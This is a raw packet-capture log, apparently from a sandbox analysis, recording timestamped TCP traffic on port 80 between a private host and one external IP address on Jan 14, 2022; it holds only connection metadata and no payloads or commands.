Jan 14, 2022 04:59:55.440917015 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.440932035 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.440957069 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.440996885 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.440999031 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.441014051 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.441035032 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.441073895 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.441090107 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.441112041 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.441127062 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.441153049 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.441189051 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.441205978 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.441226959 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.441236973 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.441266060 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.441282034 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.441302061 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.441318035 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.441340923 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.441378117 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.441391945 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.441416979 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.441431046 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.441457033 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.441493034 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.441531897 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.441545010 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.441570044 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.441606998 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.441644907 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.441658974 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.441683054 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.441720963 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.441759109 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.441771984 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.441797018 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.441833973 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.441893101 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.441906929 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.441948891 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.441986084 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.442023993 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.442048073 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.442060947 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.442102909 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.442142963 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.442171097 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.442208052 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.442210913 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.442225933 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.442246914 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.442249060 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.442286015 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.442325115 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.442334890 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.442363024 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.442401886 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.442440033 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.442452908 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.442477942 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.442514896 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.442552090 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.442565918 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.442590952 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.442631006 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.442666054 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.442682028 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.442704916 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.442743063 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.442779064 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.442791939 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.442817926 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.442857027 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.442894936 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.442905903 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.442935944 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.442975044 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.443011999 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.443030119 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.443049908 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.443085909 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.443123102 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.443135977 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.443161964 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.443200111 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.443238020 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.443252087 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.443275928 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.443315029 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.443353891 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.443362951 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.443386078 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.443391085 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.443429947 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.443439007 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.443651915 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.444530010 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.444571018 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.444607019 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.444644928 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.444664001 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.444684982 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.444725990 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.444763899 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.444776058 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.444802999 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.444840908 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.444879055 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.444891930 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.444916964 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.444957018 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.444997072 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.445034027 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.445035934 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.445044994 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.445072889 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.445110083 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.445163965 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.445177078 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.445199013 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.445202112 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.445241928 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.445277929 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.445314884 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.445328951 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.445353031 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.445390940 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.445429087 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.445442915 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.445466995 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.445503950 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.445514917 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.445544004 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.449027061 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.502605915 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.502737999 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.502778053 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.502779007 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.502820969 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.502860069 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.502898932 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.502937078 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.502978086 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.503011942 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.503016949 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.503056049 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.503074884 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.503096104 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.503120899 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.503134966 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.503173113 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.503189087 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.503212929 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.503252029 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.503277063 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.503288984 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.503328085 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.503371000 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.503386974 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.503411055 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.503426075 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.503453016 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.503489971 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.503524065 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.503528118 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.503571033 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.503607035 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.503631115 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.503645897 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.503663063 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.505541086 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.505584955 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.505688906 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.507098913 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.507162094 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.567698002 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.567747116 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.567786932 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.567825079 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.567832947 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.567863941 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.567864895 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.567905903 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.567931890 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.567944050 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.567986965 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.568002939 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.568026066 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.568063974 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.568078995 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.568104029 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.568141937 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.568155050 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.568181038 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.568221092 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.568239927 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.568257093 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.568314075 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.568396091 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.624895096 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:56.693572044 CET	49893	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:56.750842094 CET	80	49893	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:56.750968933 CET	49893	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:56.751069069 CET	49893	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:56.751095057 CET	49893	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:56.807704926 CET	80	49893	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:56.808419943 CET	80	49893	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:56.836024046 CET	80	49893	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:56.836234093 CET	49893	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:56.836289883 CET	49893	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:56.869605064 CET	49894	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:56.892924070 CET	80	49893	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:56.926232100 CET	80	49894	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:56.926481962 CET	49894	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:56.926686049 CET	49894	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:56.926698923 CET	49894	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:56.983263016 CET	80	49894	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.023138046 CET	80	49894	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.025387049 CET	49894	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.025397062 CET	49894	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.082007885 CET	80	49894	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.082748890 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.139189005 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.139309883 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.139410973 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.205228090 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.205288887 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.205321074 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.205353022 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.205378056 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.205375910 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.205419064 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.205445051 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.205497026 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.205528975 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.205560923 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.205566883 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.205593109 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.205627918 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.205907106 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.261990070 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.262012005 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.262023926 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.262037039 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.262053967 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.262069941 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.262084961 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.262103081 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.262115002 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.262144089 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.262156010 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.262168884 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.262180090 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.262192011 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.262202024 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.262203932 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.262217999 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.262229919 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.262243032 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.262254953 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.262270927 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.262284040 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.262293100 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.262336016 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.318766117 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.318788052 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.318804026 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.318820000 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.318881035 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.318897963 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.318908930 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.318948030 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.318965912 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.318969965 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.318980932 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.318998098 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.319000959 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.319006920 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.319036007 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.319037914 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.319053888 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.319070101 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.319084883 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.319093943 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.319132090 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.319142103 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.319144964 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.319158077 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.319175959 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.319191933 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.319192886 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.319211006 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.319210052 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.319227934 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.319243908 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.319257975 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.319262028 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.319271088 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.319279909 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.319297075 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.319309950 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.319314957 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.319334030 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.319350958 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.319355965 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.319369078 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.319386005 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.319386959 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.319403887 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.319420099 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.319421053 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.319437027 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.319453955 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.319469929 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.319470882 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.319488049 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.319504023 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.319506884 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.319514990 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.319524050 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.319540977 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.319560051 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.319597960 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.375375032 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.375397921 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.375416994 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.375437975 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.375458002 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.375482082 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.375505924 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.375528097 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.375543118 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.375546932 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.375569105 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.375575066 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.375581980 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.375586987 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.375591040 CET	80	49895	94.142.143.91	192.168.2.3
